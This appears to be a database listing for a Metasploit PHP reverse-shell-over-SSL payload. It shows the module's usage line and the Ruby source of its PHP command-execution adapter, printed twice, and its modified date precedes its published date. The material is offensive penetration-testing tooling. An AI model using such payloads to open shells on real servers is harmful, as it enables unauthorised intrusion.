Description
Execute an OS command from PHP. Creates an interactive shell via php, uses SSL Module Options msf > use payload/php/unix/cmd/reverse_php_ssl ...
Basic Information
ID
MSF:PAYLOAD-PHP-UNIX-CMD-REVERSE_PHP_SSL-
Published
Aug 28, 2025 at 18:54
Modified
Jun 9, 2025 at 18:51
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS Command Exec',
'Description' => 'Execute an OS command from PHP',
'Author' => 'Spencer McIntyre',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_CMD,
'AdaptedPlatform' => 'unix'
)
)
end
def generate(_opts = {})
payload = super
vars = Rex::RandomIdentifier::Generator.new(language: :php)
<<~TEXT
#{Msf::Payload::Php.preamble(vars_generator: vars)}
#{Msf::Payload::Php.system_block(vars_generator: vars, cmd: payload)}
?>
TEXT
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Adapter
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS Command Exec',
'Description' => 'Execute an OS command from PHP',
'Author' => 'Spencer McIntyre',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_CMD,
'AdaptedPlatform' => 'unix'
)
)
end
def generate(_opts = {})
payload = super
vars = Rex::RandomIdentifier::Generator.new(language: :php)
<<~TEXT
#{Msf::Payload::Php.preamble(vars_generator: vars)}
#{Msf::Payload::Php.system_block(vars_generator: vars, cmd: payload)}
?>
TEXT
end
end